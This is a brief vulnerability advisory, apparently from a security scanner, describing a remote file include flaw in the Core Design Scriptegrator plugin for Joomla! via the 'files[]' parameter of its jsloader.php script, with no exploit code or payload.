Description

The version of the Core Design Scriptegrator plugin for Joomla! running on the remote host is affected by a remote file include vulnerability due to improper sanitization of user-supplied input to the 'files[]' parameter before using it in the cdscriptegrator/libraries/highslide/js/jsloader.php script to include PHP code. Regardless of the PHP 'register_globals' setting, an unauthenticated, remote attacker can exploit this issue to disclose arbitrary files or execute arbitrary PHP code on the remote host, subject to the privileges of the web server user ID.
